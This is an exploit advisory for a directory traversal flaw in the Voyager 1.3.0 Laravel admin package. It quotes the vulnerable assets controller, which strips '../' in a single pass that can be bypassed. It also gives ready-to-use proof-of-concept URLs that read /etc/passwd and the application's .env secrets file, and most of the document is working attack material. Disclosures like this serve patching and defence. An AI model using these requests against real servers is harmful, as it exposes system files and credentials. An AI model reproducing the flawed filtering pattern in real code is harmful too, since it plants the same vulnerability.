Voyager 1.3.0 - Directory Traversal

# Exploit Title: Voyager 1.3.0 - Directory Traversal
# Google Dork: N/A
# Date: January 2020-01-06
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://voyager.devdojo.com/
# Software Link:https://github.com/the-control-group/voyager/releases/tag/v1.3.0https://github.com/the-control-group/voyager/releases/tag/v1.2.7
# Version: 1.3.0 and bellow
# Tested on: Ubuntu 18.04
# CVE : N/A


Vulnerable code is in voyager/src/Http/Controllers/VoyagerController.php

========================================

public function assets(Request $request)
    {
        *$path = str_start(str_replace(['../', './'], '',
urldecode($request->path)), '/');*
*        $path = base_path('vendor/tcg/voyager/publishable/assets'.$path);*
        if (File::exists($path)) {
            $mime = '';
            if (ends_with($path, '.js')) {
                $mime = 'text/javascript';
            } elseif (ends_with($path, '.css')) {
                $mime = 'text/css';
            } else {
                $mime = File::mimeType($path);
            }
            $response = response(File::get($path), 200,
['Content-Type' => $mime]);
            $response->setSharedMaxAge(31536000);
            $response->setMaxAge(31536000);
            $response->setExpires(new \DateTime('+1 year'));
            return $response;
        }
        return response('', 404);
    }
========================================

PoC:

passwd:

http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd


Laravel environment
file:http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F<web
root dir>/.env